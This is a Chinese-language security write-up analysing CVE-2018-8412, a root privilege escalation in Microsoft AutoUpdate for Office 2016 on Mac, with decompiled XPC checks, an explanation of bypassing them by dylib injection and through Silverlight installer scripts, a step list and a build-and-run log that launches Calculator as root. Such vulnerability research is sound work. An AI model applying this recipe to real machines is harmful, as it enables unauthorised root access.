CVE-2018-8412 Microsoft Office 2016 Mac 版本地权限提升漏洞分析

chybeta / 2018-08-24 11:06:48 / 浏览数 2499 安全技术 漏洞分析 顶(0) 踩(0)

#### 

CVE-2018-8412 在微软 8 月的漏洞公告中修复,影响此前所有版本的 Office 2016 for Mac 以及 SkypeForBusiness。漏洞成因是先后绕过了两次代码签名验证,通过进程间通信调用特权进程的接口执行了恶意代码,可实现普通用户到 root 的权限提升。

### XPC 签名认证绕过

Office 2016 for Mac 安装了一个特权服务,来实现自动更新: /Library/PrivilegedHelperTools/com.microsoft.autoupdate.helper (以下简称MAU)

### 此服务仅提供了两个 XPC 接口:

```
@protocol MAUHelperToolProtocol
- (void)logString:(NSString *)arg1 atLevel:(int)arg2 fromAppName:(NSString *)arg3;
- (void)installUpdateWithPackage:(NSString *)arg1 withXMLPath:(NSString *)arg2 withReply:(void (^)(NSString *))arg3;
@end
```

### 在 XPC 建立连接的时候,会检查对方 pid 对应的代码签名是否在白名单之内:

```
char __cdecl -[MAUHelperTool listener:shouldAcceptNewConnection:](MAUHelperTool *self, SEL a2, id a3, id a4)
caller_pid = (unsigned __int64)objc_msgSend(v6, "processIdentifier", self);
ksecguestattrpid = kSecGuestAttributePid;
number_with_pid = objc_msgSend(&OBJC_CLASS___NSNumber, "numberWithInt:", caller_pid);
pid_as_nsnumber = objc_retainAutoreleasedReturnValue(number_with_pid);
_dict = objc_msgSend(
           &OBJC CLASS
                         _NSDictionary,
            "dictionaryWithObjects:forKeys:count:",
           &pid_as_nsnumber,
           &ksecguestattrpid,
 attributes = objc_retainAutoreleasedReturnValue(_dict);
objc_release(pid_as_nsnumber);
guest_code = 0LL;
 if ( !(unsigned int)SecCodeCopyGuestWithAttributes(OLL, attributes, OLL, &guest_code) )// kSecCSDefaultFlags
  v43 = 0LL;
  v12 = 0;
   if ( !(unsigned int)SecRequirementCreateWithString(
                           \texttt{CFSTR}(\texttt{"(identifier \ \ \ } \texttt{com.microsoft.autoupdate2} \texttt{" or identifier \ \ \ \ } \texttt{microsoft.autoupdate.fba}) \ \ \text{and} \ \ \\
                          &v43))
     v12 = (unsigned int)SecCodeCheckValidity(guest_code, OLL, v43) == 0;
   if ( v43 )
     CFRelease(v43);
```

在这里存在两个漏洞点。

### 条件竞争

首先是 pid 是一个很容易造成条件竞争的参数,可参考 MacOS/iOS userspace entitlement checking is racy 一文。使用 posix\_spawn 或者 exec 系列调用即可使用原有 pid 替换掉当前进程,在 XPC 服务处理消息队列的时间窗口中造成条件竞争,绕过检查。

但进一步分析发现这一漏洞实际上不可利用。并不是由于时间窗口太小,而是微软不按套路出牌的代码实现。在 XPC 回调中,MAU 设置了一个 invalidation handler 处理 XPC 中断连接的事件:

```
v30 = _NSConcreteStackBlock;
v31 = -1040187392;
v32 = 0;
v33 = sub_100002748;
```

```
v34 = &unk_100008440;
v19 = (void *)objc_retain(v27, v7);
v35 = v19;
objc_copyWeak(&v36, &v43);
objc_msgSend(v7, "setInvalidationHandler:", &v30);
v20 = objc_msgSend(v19, "loggingConnections");
v21 = (void *)objc_retainAutoreleasedReturnValue(v20);
objc_msgSend(v21, "performSelectorOnMainThread:withObject:waitUntilDone:", "addObject:", v7, 1LL);
objc_release(v21);
```

#### 而在这个事件当中,代码会修改上下文状态:

```
__int64 __fastcall sub_100002748(__int64 a1)

{
    void *v1; // rax
    void *v2; // r14
    __int64 v3; // rbx

v1 = objc_msgSend(*(void **)(a1 + 32), "loggingConnections");
    v2 = (void *)objc_retainAutoreleasedReturnValue(v1);
    v3 = objc_loadWeakRetained(a1 + 40);
    objc_msgSend(v2, "performSelectorOnMainThread:withObject:waitUntilDone:", "removeObject:", v3, 1LL);
    objc_release(v3);
    return objc_release(v2);
}
```

这将导致 [MAUHelperTool shouldExit] 方法返回 true。而 GCD

中注册了一个事件循环回调,一旦检测到这一标志,进程将立即退出,而忽略消息队列之后的请求。即使连接检查被绕过,也会因为进程先一步退出而无法触发后续行为。

## 模块注入

另外一个方法就太简单了。代码签名的检查没有针对整个进程空间,而是只检查主模块。这就意味着使用 DYLD\_INSERT\_LIBRARIES 可以直接绕过。

合法的可执行文件如下,任选一个注入即可:

- /Library/Application Support/Microsoft/MAU2.0/Microsoft AutoUpdate.app/Contents/MacOS/Microsoft AutoUpdate
- /Library/Application Support/Microsoft/MAU2.0/Microsoft AutoUpdate.app/Contents/MacOS/Microsoft AU Daemon.app/Contents/MacOS/Microsoft AU Daemon

绕过了第一层签名检查,接下来可以在接口上做文章了。

# SilverLight——最后的挣扎

MAU 提供的接口有一个 - [MAUHelperTool installUpdateWithPackage:withXMLPath:withReply:] ,行为就是以 root 权限安装一个 pkg 包。 pkg 包是 macOS 上类似 Windows 的 msi 的格式,既然是安装包自然具有代码执行能力。很不幸在这里还会做一次签名,这次是针对 pkg 的。 MAU 在这里会先对文件 chown 到 root,完全没有时间差替换的机会。

一度认为这个问题无法利用下去,闲置了很久。后来变换思路,从 pkg 入手。微软在 macOS 上的产品用手指头都能数过来,一个一个下载分析。

SilverLight 是曾经用来与 Adobe Flash 竞争的产品,而现在这两家的样子大家也看到了……至于 Java Applet / Flash / SilverLight 和 WASM 他们之间到底有什么爱恨情仇不是本文的重点。我们还是展开他的安装包看看。

https://www.microsoft.com/getsilverlight/Get-Started/Install/Default

## 这个安装包也有点年头了。下载回来检查签名:

## 一个 pkg 通常会包含如下文件:

- PackageInfo 包信息
- Payload 文件压缩包
- Scripts/安装前、安装后等时期运行的脚本,将会以无沙箱的 root 权限执行

在 SilverLight 的安装脚本中可以看到如下内容:

v8 = \_dyld\_get\_image\_name(i);

if ( !v8 )

```
创建了全局可写的目录
```

```
pushd /Library/Internet\ Plug-Ins/
rm -rf WPFe.plugin/
chown -R root:admin Silverlight.plugin/
chmod -R 775 Silverlight.plugin/
popd
pushd /Library/Application\ Support/Microsoft/
chown -R root:admin Silverlight/
chmod -R 775 Silverlight/
popd
pushd /Library/Application\ Support/
chown root:admin Microsoft/
chmod 775 Microsoft/
一些有意思的命令:
_PRIBX=`ls -r "/Library/Application Support/Microsoft/PlayReady/Cache" | grep .key | awk '{if (NR==1) {print $1}}}' `
  if [ "$_PRIBX" ]
  then
       _PRIBXVER=`./PlayReadyGetIBXVersionTool "/Library/Application Support/Microsoft/PlayReady/Cache/"$_PRIBX`
      if [ "$_PRIBXVER" = "mspribx.1.5.8" ]
在指定的 Cache 目录下查找扩展名为 *.key 的文件 , 并传入 PlayReadyGetIBXVersionTool 命令
pushd "/tmp/SilverlightInstallTools"
_SPRDResult=`./rundylib "/Library/Internet Plug-Ins/Silverlight.plugin/Contents/MacOS/SLMSPRBootstrap.dylib"`
以及使用 rundylib 打开一个固定路径的链接库。
这个rundylib 是干嘛的?
int __cdecl main(int argc, const char <strong>argv, const char </strong>envp)
{
 v3 = argv[1];
 if ( !v3 )
  puts("ERROR: Invalid path ");
  return 1;
 v5 = dlopen(v3, 5);
}
这名字真是诚不我欺.....
那么 PlayReadyGetIBXVersionTool 呢?
signed int __cdecl GetDyLibVersion(const char *path, unsigned int *a2, unsigned int *a3, unsigned int *a4)
{
handle = dlopen(path, 1);
 if ( handle )
  v6 = _dyld_image_count();
  for (i = 0; ; ++i)
    if ( i == v6 )
      goto LABEL_22;
```

```
{
    v9 = dlerror();
    printf("Image name not found or index out of range. Error: %s\n", v9);
    v5 = 5;
    goto LABEL_21;
}
    if ( !strcmp(v8, path) )
        break;
}
v10 = _dyld_get_image_header(i);
if ( !v10 )
{
```

本意是要获取一个动态链接库的版本,可是为什么要 dlopen 运行起来呢?请注意,在之前的命令中吗,这些路径已经被设置为全局可写:

- /Library/Internet Plug-Ins/Silverlight.plugin/Contents/MacOS/SLMSPRBootstrap.dylib
- /Library/Application Support/Microsoft/PlayReady/Cache

替换 SLMSPRBootstrap.dylib 需要条件竞争,比较难以控制;而 Cache 则没有这个问题。

### 利用步骤如下:

- 下载具有微软签名的 SilverLight 安装包备用 (14M)
- DYLD\_INSERT\_LIBRARIES 注入"可信"的进程
- 第一次向 MAU 发送 IPC 请求安装软件包,不做任何事情,让其创建所需要的父目录(/Library/Application Support/Microsoft/SilverLight )
- 将恶意的 dylib 保存到指定路径
- 第二次向 MAU 发送 IPC 请求,加载恶意的 dylib

```
→ msoffice git:(master) ps aux | grep Calc
               3813 0.0 0.0 4270840 928 s014 S+ 5:31PM 0:00.00 grep --color=auto --exclude-dir=.bzr --exclude-
codecolorist
→ msoffice git:(master) make run
mkdir -p "./bin"
   -framework Foundation \
      -dynamiclib xpc.mm \
      -o "./bin"/xpc.dylib
cc -m32 -framework Foundation \
      -dvnamiclib root.mm \
      -o "./bin"/root.dylib
\verb|mkdir -p "/Library/Application Support/Microsoft/PlayReady/mspr.hds||
mkdir -p "/Library/Application Support/Microsoft/PlayReady/Cache/"
cp "./bin"/root.dylib "/Library/Application Support/Microsoft/PlayReady/Cache/exp.key"
DYLD_INSERT_LIBRARIES=""./bin"/xpc.dylib" \
      "/Library/Application Support/Microsoft/MAU2.0/Microsoft AutoUpdate.app/Contents/MacOS/Microsoft AutoUpdate"
done%
codecolorist 3878 0.0 0.0 4267768 896 s014 S+ 5:32PM 0:00.00 grep --color=auto --exclude-dir=.bzr --exclude-
               3874 0.0 0.2 4446648 30428 ?? S 5:31PM 0:00.43 /Applications/Calculator.app/Contents/MacOS/Cal
root
```

## 番外

近日有研究者放出了一个 MS Office 2016 for Mac 的沙箱配置问题,可以在允许执行宏代码的情况下逃逸沙箱执行任意程序(会强制注销一次系统)

https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/

两个问题结合一下就可以给红队在 mac 下干一些坏坏的事情了......

点击收藏 | 0 关注 | 1

上一篇:DockerKiller:首个针对... 下一篇:大家平时都去哪些安全社区呢?

- 1. 0 条回复
  - 动动手指,沙发就是你的了!

## 登录 后跟帖

先知社区

# 技术文章

<u>社区小黑板</u>

目录

RSS 关于社区 友情链接 社区小黑板